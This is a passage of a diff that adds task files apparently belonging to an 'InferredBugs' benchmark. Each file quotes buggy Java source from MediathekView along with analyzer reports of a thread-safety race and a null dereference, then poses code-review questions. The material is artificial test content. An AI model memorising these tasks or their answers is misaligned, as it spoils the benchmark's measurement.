+ *  http://zdfmediathk.sourceforge.net/
+ *
+ *  This program is free software: you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation, either version 3 of the License, or
+ *  any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+package mediathek;
+
+import java.io.File;
+import java.util.Iterator;
+import java.util.LinkedList;
+import mediathek.controller.filmeLaden.ListenerFilmeLaden;
+import mediathek.controller.filmeLaden.ListenerFilmeLadenEvent;
+import mediathek.controller.io.IoXmlFilmlisteSchreiben;
+import mediathek.daten.Daten;
+import mediathek.daten.ListeFilme;
+import mediathek.tool.GuiFunktionen;
+import mediathek.tool.Konstanten;
+import mediathek.tool.Log;
+
+public class MediathekNoGui implements Runnable {
+
+    private String output = "";
+    private String importUrl = "";
+    private String userAgent = "";
+    private boolean senderAllesLaden = false;
+    private boolean updateFilmliste = true;
+    private String pfad = "";
+    private Daten daten;
+    private boolean serverLaufen = false;
+    private File logfile = null;
+
+    public MediathekNoGui(String ppfad, boolean ssenderAllesLaden, boolean uupdateFilmliste, String ooutput, String iimprtUrl, String uuserAgent, File log, boolean ddebug) {
+        // NUR für den Start vom MediathekServer
+        pfad = ppfad;
+        senderAllesLaden = ssenderAllesLaden;
+        updateFilmliste = uupdateFilmliste;
+        output = ooutput;
+        importUrl = iimprtUrl;
+        userAgent = uuserAgent;
+        logfile = log;
+        serverLaufen = true;
+        if (ddebug) {
+            Daten.debug = ddebug;
+        }
+    }
+
+    public MediathekNoGui(String[] ar) {
+        if (ar != null) {
+            if (ar.length > 0) {
+                if (!ar[0].startsWith("-")) {
+                    if (!ar[0].endsWith(File.separator)) {
+                        ar[0] += File.separator;
+                    }
+                    pfad = ar[0];
+                }
+            }
+            for (int i = 0; i < ar.length; ++i) {
+                if (ar[i].equals(Main.STARTP_ALLES)) {
+                    senderAllesLaden = true;
+                    updateFilmliste = false;
+                }
+                if (ar[i].equalsIgnoreCase(Main.STARTP_EXPORT_DATEI)) {
+                    if (ar.length > i) {
+                        output = ar[i + 1];
+                    }
+                }
+                if (ar[i].equalsIgnoreCase(Main.STARTP_IMPORT_URL)) {
+                    if (ar.length > i) {
+                        importUrl = ar[i + 1];
+                    }
+                }
+                if (ar[i].equalsIgnoreCase(Main.STARTP_USER_AGENT)) {
+                    if (ar.length > i) {
+                        userAgent = ar[i + 1];
+                    }
+                }
+            }
+        }
+    }
+
+    public synchronized void init(String[] sender) {
+        // für den MediathekServer zum Starten
+        daten = new Daten(pfad);
+        Daten.nogui = true;
+        if (Daten.debug) {
+            Log.systemMeldung("Debug on");
+        }
+        if (!userAgent.equals("")) {
+            Daten.setUserAgentManuel(userAgent);
+        }
+        if (senderAllesLaden) {
+            Log.systemMeldung("Filme laden: alles laden");
+        } else {
+            Log.systemMeldung("Filme laden: nur update laden");
+        }
+        if (updateFilmliste) {
+            Log.systemMeldung("Filmliste: aktualisieren");
+        } else {
+            Log.systemMeldung("Filmliste: neue erstellen");
+        }
+        if (logfile != null) {
+            Log.setLogFile(logfile);
+        }
+        Log.systemMeldung("ImportUrl: " + importUrl);
+        Log.systemMeldung("Outputfile: " + output);
+        Log.systemMeldung("");
+        Daten.filmeLaden.addAdListener(new ListenerFilmeLaden() {
+            @Override
+            public void fertig(ListenerFilmeLadenEvent event) {
+                serverLaufen = false;
+            }
+        });
+        // laden was es schon gibt
+        Daten.ioXmlFilmlisteLesen.filmlisteLesen(Daten.getBasisVerzeichnis() + Konstanten.XML_DATEI_FILME, false /* istUrl */, Daten.listeFilme);
+        // das eigentliche Suchen der Filme bei den Sendern starten
+        if (sender == null) {
+            Daten.filmeLaden.filmeBeimSenderSuchen(Daten.listeFilme, senderAllesLaden, updateFilmliste);
+        } else {
+            Daten.filmeLaden.updateSender(sender, Daten.listeFilme, senderAllesLaden);
+        }
+    }
+
+    @Override
+    public synchronized void run() {
+        // für den MediathekServer zum Warten aufs Ende
+        try {
+            while (serverLaufen) {
+                this.wait(5000);
+            }
+        } catch (Exception ex) {
+            Log.fehlerMeldung(965451236, Log.FEHLER_ART_NOGUI, MediathekNoGui.class.getName(), "ServerStarten");
+        }
+        undTschuess(false /* exit */);
+    }
+
+    public void stoppen() {
+        // für den MediathekServer zum Stroppen/Unerbrechen
+        Daten.filmeLaden.setStop();
+    }
+
+    public void starten() {
+        daten = new Daten(pfad);
+        Daten.nogui = true;
+        if (!userAgent.equals("")) {
+            Daten.setUserAgentManuel(userAgent);
+        }
+        // Infos schreiben
+        Log.startMeldungen(this.getClass().getName());
+        if (senderAllesLaden) {
+            Log.systemMeldung("Programmstart: alles laden");
+        } else {
+            Log.systemMeldung("Programmstart: nur update laden");
+        }
+        Log.systemMeldung("ImportUrl: " + importUrl);
+        Log.systemMeldung("Outputfile: " + output);
+        Log.systemMeldung("");
+        Log.systemMeldung("");
+        Daten.filmeLaden.addAdListener(new ListenerFilmeLaden() {
+            @Override
+            public void fertig(ListenerFilmeLadenEvent event) {
+                undTschuess(true /* exit */);
+            }
+        });
+        // laden was es schon gibt
+        Daten.ioXmlFilmlisteLesen.filmlisteLesen(Daten.getBasisVerzeichnis() + Konstanten.XML_DATEI_FILME, false /* istUrl */, Daten.listeFilme);
+        // das eigentliche Suchen der Filme bei den Sendern starten
+        Daten.filmeLaden.filmeBeimSenderSuchen(Daten.listeFilme, senderAllesLaden, updateFilmliste);
+    }
+
+    private void addImportListe(String url) {
+        if (!url.equals("")) {
+            Log.systemMeldung("Filmliste importieren von: " + url);
+            ListeFilme tmpListe = new ListeFilme();
+            Daten.ioXmlFilmlisteLesen.filmlisteLesen(url, GuiFunktionen.istUrl(url) /* istUrl */, tmpListe);
+            Daten.listeFilme.updateListe(tmpListe, false /* nur URL vergleichen */);
+            tmpListe.clear();
+        }
+    }
+
+    private void undTschuess(boolean exit) {
+        if (!importUrl.equals("")) {
+            // wenn eine ImportUrl angegeben, dann noch eine Liste importieren
+            addImportListe(importUrl);
+        }
+        new IoXmlFilmlisteSchreiben().filmeSchreiben(Daten.getBasisVerzeichnis(true) + Konstanten.XML_DATEI_FILME, Daten.listeFilme);
+        if (!output.equals("")) {
+            LinkedList<String> out = new LinkedList<String>();
+            String tmp;
+            do {
+                if (output.startsWith(",")) {
+                    output = output.substring(1);
+                }
+                if (output.contains(",")) {
+                    tmp = output.substring(0, output.indexOf(","));
+                    output = output.substring(output.indexOf(","));
+                    out.add(tmp);
+                } else {
+                    out.add(output);
+                }
+            } while (output.contains(","));
+            Iterator<String> it = out.iterator();
+            while (it.hasNext()) {
+                //datei schreiben
+                new IoXmlFilmlisteSchreiben().filmeSchreiben(it.next(), Daten.listeFilme);
+            }
+        }
+        Log.printEndeMeldung();
+        if (exit) {
+            // nur dann das Programm beenden
+            if (Daten.listeFilme.isEmpty()) {
+                //Satz mit x, war wohl nix
+                System.exit(1);
+            } else {
+                System.exit(0);
+            }
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `mediathek.MediathekNoGui.starten` reads without synchronization from `daten.Daten.mediathek.daten.Daten.ioXmlFilmlisteLesen`. Potentially races with write in method `MediathekNoGui.init(...)`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void MediathekNoGui.starten()
+
+### Procedure Id:
+mediathek.MediathekNoGui.starten():void.7e883e72d9a21d316edba27b85aa617d
+
+### File:
+src/mediathek/MediathekNoGui.java
+
+### Key:
+MediathekNoGui.java|starten|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+e940da0fae9c6552441a01babb26b673
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8964/instruction.md b/inferredbugs-8964/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..fcc57c6a74b5f17357837f6b7189eb2c798f30bb
--- /dev/null
+++ b/inferredbugs-8964/instruction.md
@@ -0,0 +1,377 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** MediathekView
+**Bug ID:** 41
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ *  MediathekView
+ *  Copyright (C) 2008 W. Xaver
+ *  W.Xaver[at]googlemail.com
+ *  http://zdfmediathk.sourceforge.net/
+ *
+ *  This program is free software: you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation, either version 3 of the License, or
+ *  any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+package mediathek.controller.io;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.net.HttpURLConnection;
+import java.net.Proxy;
+import java.net.SocketAddress;
+import java.net.URL;
+import java.net.URLConnection;
+import java.util.Iterator;
+import java.util.LinkedList;
+import mediathek.daten.Daten;
+import mediathek.tool.Konstanten;
+import mediathek.tool.Log;
+
+public class GetUrl {
+
+    public static final int LISTE_SEITEN_ZAEHLER = 1;
+    public static final int LISTE_SEITEN_ZAEHLER_FEHlER = 2;
+    public static final int LISTE_SEITEN_ZAEHLER_FEHLERVERSUCHE = 3;
+    public static final int LISTE_SEITEN_ZAEHLER_WARTEZEIT_FEHLVERSUCHE = 4;
+    public static final int LISTE_SUMME_BYTE = 5;
+    private static final long UrlWartenBasis = 500;//ms, Basiswert zu dem dann der Faktor multipliziert wird
+    private int faktorWarten = 1;
+    private int timeout = 10000;
+    private long wartenBasis = UrlWartenBasis;
+    private static LinkedList<Seitenzaehler> listeSeitenZaehler = new LinkedList<Seitenzaehler>();
+    private static LinkedList<Seitenzaehler> listeSeitenZaehlerFehler = new LinkedList<Seitenzaehler>();
+    private static LinkedList<Seitenzaehler> listeSeitenZaehlerFehlerVersuche = new LinkedList<Seitenzaehler>();
+    private static LinkedList<Seitenzaehler> listeSeitenZaehlerWartezeitFehlerVersuche = new LinkedList<Seitenzaehler>(); // Wartezeit für Wiederholungen [s]
+    private static LinkedList<Seitenzaehler> listeSummeByte = new LinkedList<Seitenzaehler>(); // Summe Daten in Byte für jeden Sender
+
+    private class Seitenzaehler {
+
+        String senderName = "";
+        long seitenAnzahl = 0;
+
+        public Seitenzaehler(String ssenderName) {
+            senderName = ssenderName;
+            seitenAnzahl = 1;
+        }
+
+        public Seitenzaehler(String ssenderName, int sseitenAnzahl) {
+            senderName = ssenderName;
+            seitenAnzahl = sseitenAnzahl;
+        }
+    }
+
+    public GetUrl(long wwartenBasis) {
+        wartenBasis = wwartenBasis;
+    }
+
+    //===================================
+    // public
+    //===================================
+    public StringBuffer getUri_Utf(String sender, String addr, StringBuffer seite, String meldung) {
+        return getUri(sender, addr, Konstanten.KODIERUNG_UTF, 1 /* versuche */, seite, meldung);
+    }
+
+    public StringBuffer getUri_Iso(String sender, String addr, StringBuffer seite, String meldung) {
+        return getUri(sender, addr, Konstanten.KODIERUNG_ISO15, 1 /* versuche */, seite, meldung);
+    }
+
+    public synchronized StringBuffer getUri(String sender, String addr, String kodierung, int maxVersuche, StringBuffer seite, String meldung) {
+        final int PAUSE = 1000;
+//        int aktTimeout = (maxVersuche > 1) ? timeout / 2 : timeout; // wenns mehrere Versuche gibt, dann der erste mit verkürztem Timeout
+        int aktTimeout = timeout;
+        int aktVer = 0;
+        int wartezeit;
+        boolean letzterVersuch;
+        do {
+            ++aktVer;
+            try {
+//                if (aktVer >= maxVersuche) {
+//                    // der letzte Versuch mit dem vollen Timeout
+//                    aktTimeout = timeout;
+//                }
+                if (aktVer > 1) {
+                    // und noch eine Pause vor dem nächsten Versuch
+                    this.wait(PAUSE);
+                }
+                letzterVersuch = (aktVer >= maxVersuche) ? true : false;
+                seite = getUri(sender, addr, seite, kodierung, aktTimeout, meldung, maxVersuche, letzterVersuch);
+                if (seite.length() > 0) {
+                    // und nix wie weiter 
+                    if (Daten.debug && aktVer > 1) {
+                        String text = sender + " [" + aktVer + "/" + maxVersuche + "] ~~~> " + addr;
+                        Log.systemMeldung(text);
+                    }
+                    // nur dann zählen
+                    incSeitenZaehler(LISTE_SEITEN_ZAEHLER, sender, 1);
+                    return seite;
+                } else {
+                    // hat nicht geklappt
+                    if (aktVer > 1) {
+                        wartezeit = (aktTimeout + PAUSE);
+                    } else {
+                        wartezeit = (aktTimeout);
+                    }
+                    incSeitenZaehler(LISTE_SEITEN_ZAEHLER_WARTEZEIT_FEHLVERSUCHE, sender, wartezeit / 1000);
+                    incSeitenZaehler(LISTE_SEITEN_ZAEHLER_FEHLERVERSUCHE, sender, 1);
+                    if (letzterVersuch) {
+                        // dann wars leider nichts
+                        incSeitenZaehler(LISTE_SEITEN_ZAEHLER_FEHlER, sender, 1);
+                    }
+                }
+            } catch (Exception ex) {
+                Log.fehlerMeldung(698963200, Log.FEHLER_ART_GETURL, GetUrl.class.getName() + ".getUri", ex, sender);
+            }
+        } while (!Daten.filmeLaden.getStop() && aktVer < maxVersuche);
+        return seite;
+    }
+
+    public synchronized void getDummy(String sender) {
+        // Dummy zum hochzählen des Seitenzählers
+        incSeitenZaehler(LISTE_SEITEN_ZAEHLER, sender, 1);
+    }
+
+    public void setTimeout(int ttimeout) {
+        timeout = ttimeout;
+    }
+
+    public int getTimeout() {
+        return timeout;
+    }
+
+    public static long getSeitenZaehler(int art, String sender) {
+        long ret = 0;
+        LinkedList<Seitenzaehler> liste = getListe(art);
+        Iterator<Seitenzaehler> it = liste.iterator();
+        Seitenzaehler sz;
+        while (it.hasNext()) {
+            sz = it.next();
+            if (sz.senderName.equals(sender)) {
+                ret = sz.seitenAnzahl;
+            }
+        }
+        if (art == LISTE_SUMME_BYTE) {
+            // Byte in MByte
+            ret = ret / 1024 / 1024;
+        }
+        return ret;
+    }
+
+    public static synchronized long getSeitenZaehler(int art) {
+        long ret = 0;
+        LinkedList<Seitenzaehler> liste = getListe(art);
+        Iterator<Seitenzaehler> it = liste.iterator();
+        while (it.hasNext()) {
+            ret += it.next().seitenAnzahl;
+        }
+        if (art == LISTE_SUMME_BYTE) {
+            // Byte in MByte
+            ret = ret / 1024 / 1024;
+        }
+        return ret;
+    }
+
+    public static synchronized void resetZaehler() {
+        listeSeitenZaehler.clear();
+        listeSeitenZaehlerFehler.clear();
+        listeSeitenZaehlerFehlerVersuche.clear();
+        listeSeitenZaehlerWartezeitFehlerVersuche.clear();
+        listeSummeByte.clear();
+    }
+
+    //===================================
+    // private
+    //===================================
+    private static LinkedList<Seitenzaehler> getListe(int art) {
+        switch (art) {
+            case LISTE_SEITEN_ZAEHLER:
+                return listeSeitenZaehler;
+            case LISTE_SEITEN_ZAEHLER_FEHLERVERSUCHE:
+                return listeSeitenZaehlerFehlerVersuche;
+            case LISTE_SEITEN_ZAEHLER_FEHlER:
+                return listeSeitenZaehlerFehler;
+            case LISTE_SEITEN_ZAEHLER_WARTEZEIT_FEHLVERSUCHE:
+                return listeSeitenZaehlerWartezeitFehlerVersuche;
+            case LISTE_SUMME_BYTE:
+                return listeSummeByte;
+            default:
+                return null;
+        }
+    }
+
+    private synchronized void incSeitenZaehler(int art, String sender, int inc) {
+        boolean gefunden = false;
+        LinkedList<Seitenzaehler> liste = getListe(art);
+        Iterator<Seitenzaehler> it = liste.iterator();
+        Seitenzaehler sz;
+        while (it.hasNext()) {
+            sz = it.next();
+            if (sz.senderName.equals(sender)) {
+                sz.seitenAnzahl += inc;
+                gefunden = true;
+                break;
+            }
+        }
+        if (!gefunden) {
+            liste.add(new Seitenzaehler(sender, inc));
+        }
+    }
+
+    private synchronized StringBuffer getUri(String sender, String addr, StringBuffer seite, String kodierung, int timeout, String meldung, int versuch, boolean lVersuch) {
+        int timeo = timeout;
+        boolean proxyB = false;
+        char[] zeichen = new char[1];
+        seite.setLength(0);
+        URLConnection conn;
+        int code = 0;
+        InputStream in = null;
+        InputStreamReader inReader = null;
+        Proxy proxy = null;
+        SocketAddress saddr = null;
+        // immer etwas bremsen
+        try {
+            long w = wartenBasis * faktorWarten;
+            this.wait(w);
+        } catch (Exception ex) {
+            Log.fehlerMeldung(976120379, Log.FEHLER_ART_GETURL, GetUrl.class.getName() + ".getUri", ex, sender);
+        }
+        try {
+            URL url = new URL(addr);
+            // conn = url.openConnection(Proxy.NO_PROXY);
+            conn = url.openConnection();
+            conn.setRequestProperty("User-Agent", Daten.getUserAgent());
+            if (timeout > 0) {
+                conn.setReadTimeout(timeout);
+                conn.setConnectTimeout(timeout);
+            }
+            if (conn instanceof HttpURLConnection) {
+                HttpURLConnection httpConnection = (HttpURLConnection) conn;
+                code = httpConnection.getResponseCode();
+//                if (code >= 400) {
+//                    if (true) {
+//                        // wenn möglich, einen Proxy einrichten
+//                        Log.fehlerMeldung(236597125, Log.FEHLER_ART_GETURL, GetUrl.class.getName() + ".getUri", "---Proxy---");
+//                        proxyB = true;
+//                        saddr = new InetSocketAddress("localhost", 9050);
+//                        proxy = new Proxy(Proxy.Type.SOCKS, saddr);
+//                        conn = url.openConnection(proxy);
+//                        conn.setRequestProperty("User-Agent", Daten.getUserAgent());
+//                        if (timeout > 0) {
+//                            conn.setReadTimeout(timeout);
+//                            conn.setConnectTimeout(timeout);
+//                        }
+//                    } else {
+//                        Log.fehlerMeldung(864123698, Log.FEHLER_ART_GETURL, GetUrl.class.getName() + ".getUri", "returncode >= 400");
+//                    }
+//                }
+            } else {
+                Log.fehlerMeldung(949697315, Log.FEHLER_ART_GETURL, GetUrl.class.getName() + ".getUri", "keine HTTPcon");
+            }
+            in = conn.getInputStream();
+            inReader = new InputStreamReader(in, kodierung);
+            while (!Daten.filmeLaden.getStop() && inReader.read(zeichen) != -1) {
+                seite.append(zeichen);
+                incSeitenZaehler(LISTE_SUMME_BYTE, sender, 1);
+            }
+        } catch (IOException ex) {
+            if (lVersuch) {
+                String[] text;
+                if (meldung.equals("")) {
+                    text = new String[]{sender + " - timout: " + timeo + " Versuche: " + versuch, addr /*, (proxyB ? "Porxy - " : "")*/};
+                } else {
+                    text = new String[]{sender + " - timout: " + timeo + " Versuche: " + versuch, addr, meldung/*, (proxyB ? "Porxy - " : "")*/};
+                }
+                Log.fehlerMeldung(502739817, Log.FEHLER_ART_GETURL, GetUrl.class.getName() + ".getUri", ex, text);
+            }
+        } catch (Exception ex) {
+            Log.fehlerMeldung(973969801, Log.FEHLER_ART_GETURL, GetUrl.class.getName() + ".getUri", ex, "");
+        } finally {
+            try {
+                if (in != null) {
+                    inReader.close();
+                }
+            } catch (IOException ex) {
+            }
+        }
+        return seite;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `inReader` last assigned on line 233 could be null and is dereferenced at line 296.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+StringBuffer GetUrl.getUri(String,String,StringBuffer,String,int,String,int,boolean)
+
+### Procedure Id:
+mediathek.controller.io.GetUrl.getUri(java.lang.String,java.lang.String,java.lang.StringBuffer,java..132bd5d2f6152705ad5fe590013f92d5
+
+### File:
+src/mediathek/controller/io/GetUrl.java
+
+### Key:
+GetUrl.java|getUri|NULL_DEREFERENCE
+
+### Node Key:
+44599c87e83680e0a6bc09b4cb3a71a9
+
+### Hash:
+f91fecc3ba366f8f5b27abcd41c283a9
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8965/instruction.md b/inferredbugs-8965/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..307aff48cda22ba4751936e45165942ed32e938e
--- /dev/null
+++ b/inferredbugs-8965/instruction.md
@@ -0,0 +1,341 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** MediathekView
+**Bug ID:** 48
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ *  MediathekView
+ *  Copyright (C) 2008 W. Xaver
+ *  W.Xaver[at]googlemail.com
+ *  http://zdfmediathk.sourceforge.net/
+ *
+ *  This program is free software: you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation, either version 3 of the License, or
+ *  any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+package mediathek;
+
+import java.io.File;
+import java.util.Iterator;
+import java.util.LinkedList;
+import mediathek.controller.filmeLaden.ListenerFilmeLaden;
+import mediathek.controller.filmeLaden.ListenerFilmeLadenEvent;
+import mediathek.controller.io.IoXmlFilmlisteLesen;
+import mediathek.controller.io.IoXmlFilmlisteSchreiben;
+import mediathek.daten.Daten;
+import mediathek.daten.ListeFilme;
+import mediathek.tool.GuiFunktionen;
+import mediathek.tool.Konstanten;
+import mediathek.tool.Log;
+
+public class MediathekNoGui implements Runnable {
+
+    private String output = "";
+    private String importUrl = "";
+    private String userAgent = "";
+    private boolean senderAllesLaden = false;
+    private boolean updateFilmliste = true;
+    private String pfad = "";
+    private Daten daten;
+    private boolean serverLaufen = false;
+    private File logfile = null;
+    private String senderLoeschen = "";
+
+    public MediathekNoGui(String ppfad, boolean ssenderAllesLaden, boolean uupdateFilmliste, String ooutput, String iimprtUrl, String uuserAgent, File log, boolean ddebug) {
+        // NUR für den Start vom MediathekServer
+        pfad = ppfad;
+        senderAllesLaden = ssenderAllesLaden;
+        updateFilmliste = uupdateFilmliste;
+        output = ooutput;
+        importUrl = iimprtUrl;
+        userAgent = uuserAgent;
+        logfile = log;
+        serverLaufen = true;
+        if (ddebug) {
+            Daten.debug = ddebug;
+        }
+    }
+
+    public MediathekNoGui(String[] ar) {
+        if (ar != null) {
+            if (ar.length > 0) {
+                if (!ar[0].startsWith("-")) {
+                    if (!ar[0].endsWith(File.separator)) {
+                        ar[0] += File.separator;
+                    }
+                    pfad = ar[0];
+                }
+            }
+            for (int i = 0; i < ar.length; ++i) {
+                if (ar[i].equals(Main.STARTP_ALLES)) {
+                    senderAllesLaden = true;
+                    updateFilmliste = false;
+                }
+                if (ar[i].equalsIgnoreCase(Main.STARTP_EXPORT_DATEI)) {
+                    if (ar.length > i) {
+                        output = ar[i + 1];
+                    }
+                }
+                if (ar[i].equalsIgnoreCase(Main.STARTP_IMPORT_URL)) {
+                    if (ar.length > i) {
+                        importUrl = ar[i + 1];
+                    }
+                }
+                if (ar[i].equalsIgnoreCase(Main.STARTP_USER_AGENT)) {
+                    if (ar.length > i) {
+                        userAgent = ar[i + 1];
+                    }
+                }
+                if (ar[i].equalsIgnoreCase(Main.STARTP_SENDER_LOESCHEN)) {
+                    if (ar.length > i) {
+                        senderLoeschen = ar[i + 1];
+                    }
+                }
+            }
+        }
+    }
+
+    public synchronized void init(String[] sender) {
+        // für den MediathekServer zum Starten
+        daten = new Daten(pfad);
+        Daten.nogui = true;
+        if (Daten.debug) {
+            Log.systemMeldung("Debug on");
+        }
+        if (!userAgent.equals("")) {
+            Daten.setUserAgentManuel(userAgent);
+        }
+        if (senderAllesLaden) {
+            Log.systemMeldung("Filme laden: alles laden");
+        } else {
+            Log.systemMeldung("Filme laden: nur update laden");
+        }
+        if (updateFilmliste) {
+            Log.systemMeldung("Filmliste: aktualisieren");
+        } else {
+            Log.systemMeldung("Filmliste: neue erstellen");
+        }
+        if (logfile != null) {
+            Log.setLogFile(logfile);
+        }
+        Log.systemMeldung("ImportUrl: " + importUrl);
+        Log.systemMeldung("Outputfile: " + output);
+        Log.systemMeldung("");
+        Daten.filmeLaden.addAdListener(new ListenerFilmeLaden() {
+            @Override
+            public void fertig(ListenerFilmeLadenEvent event) {
+                serverLaufen = false;
+            }
+        });
+        // laden was es schon gibt
+        //Daten.ioXmlFilmlisteLesen.filmlisteLesen(Daten.getBasisVerzeichnis() + Konstanten.XML_DATEI_FILME, false /* istUrl */, Daten.listeFilme);
+        new IoXmlFilmlisteLesen().standardFilmlisteLesen();
+        // das eigentliche Suchen der Filme bei den Sendern starten
+        if (sender == null) {
+            Daten.filmeLaden.filmeBeimSenderSuchen(Daten.listeFilme, senderAllesLaden, updateFilmliste);
+        } else {
+            Daten.filmeLaden.updateSender(sender, Daten.listeFilme, senderAllesLaden);
+        }
+    }
+
+    @Override
+    public synchronized void run() {
+        // für den MediathekServer zum Warten aufs Ende
+        try {
+            while (serverLaufen) {
+                this.wait(5000);
+            }
+        } catch (Exception ex) {
+            Log.fehlerMeldung(965451236, Log.FEHLER_ART_NOGUI, MediathekNoGui.class.getName(), "ServerStarten");
+        }
+        undTschuess(false /* exit */);
+    }
+
+    public void stoppen() {
+        // für den MediathekServer zum Stroppen/Unerbrechen
+        Daten.filmeLaden.setStop();
+    }
+
+    public void starten() {
+        daten = new Daten(pfad);
+        Daten.nogui = true;
+        if (!userAgent.equals("")) {
+            Daten.setUserAgentManuel(userAgent);
+        }
+        // Infos schreiben
+        Log.startMeldungen(this.getClass().getName());
+        if (senderAllesLaden) {
+            Log.systemMeldung("Programmstart: alles laden");
+        } else {
+            Log.systemMeldung("Programmstart: nur update laden");
+        }
+        Log.systemMeldung("ImportUrl: " + importUrl);
+        Log.systemMeldung("Outputfile: " + output);
+        Log.systemMeldung("");
+        Log.systemMeldung("");
+        Daten.filmeLaden.addAdListener(new ListenerFilmeLaden() {
+            @Override
+            public void fertig(ListenerFilmeLadenEvent event) {
+                undTschuess(true /* exit */);
+            }
+        });
+        // laden was es schon gibt
+        //Daten.ioXmlFilmlisteLesen.filmlisteLesen(Daten.getBasisVerzeichnis() + Konstanten.XML_DATEI_FILME, false /* istUrl */, Daten.listeFilme);
+        new IoXmlFilmlisteLesen().standardFilmlisteLesen();
+        if (!senderLoeschen.isEmpty()) {
+            senderLoeschenUndExit();
+        } else {
+            // das eigentliche Suchen der Filme bei den Sendern starten
+            Daten.filmeLaden.filmeBeimSenderSuchen(Daten.listeFilme, senderAllesLaden, updateFilmliste);
+        }
+    }
+
+    private void addImportListe(String url) {
+        if (!url.equals("")) {
+            Log.systemMeldung("Filmliste importieren von: " + url);
+            ListeFilme tmpListe = new ListeFilme();
+            new IoXmlFilmlisteLesen().dateiInListeEinlesen(url, GuiFunktionen.istUrl(url) /* istUrl */, tmpListe);
+            Daten.listeFilme.updateListe(tmpListe, false /* nur URL vergleichen */);
+            tmpListe.clear();
+        }
+    }
+
+    public void senderLoeschenUndExit() {
+        daten = new Daten(pfad);
+        Daten.nogui = true;
+        // Infos schreiben
+        Log.startMeldungen(this.getClass().getName());
+        Log.systemMeldung("");
+        Log.systemMeldung("");
+        //Daten.ioXmlFilmlisteLesen.filmlisteLesen(Daten.getBasisVerzeichnis() + Konstanten.XML_DATEI_FILME, false /* istUrl */, Daten.listeFilme);
+        new IoXmlFilmlisteLesen().standardFilmlisteLesen();
+        // dann nur einen Sender löschen und dann wieder beenden
+        Log.systemMeldung("Sender: " + senderLoeschen + " löschen");
+        int anz1 = Daten.listeFilme.size();
+        Log.systemMeldung("Anzehl Filme vorher: " + anz1);
+        Daten.listeFilme.delSender(senderLoeschen);
+        int anz2 = Daten.listeFilme.size();
+        Log.systemMeldung("Anzehl Filme nachher: " + anz2);
+        Log.systemMeldung(" --> gelöscht: " + (anz1 - anz2));
+        new IoXmlFilmlisteSchreiben().filmeSchreiben(Daten.getBasisVerzeichnis(true) + Konstanten.XML_DATEI_FILME, Daten.listeFilme);
+        System.exit(0);
+    }
+
+    private void undTschuess(boolean exit) {
+        if (!importUrl.equals("")) {
+            // wenn eine ImportUrl angegeben, dann noch eine Liste importieren
+            addImportListe(importUrl);
+        }
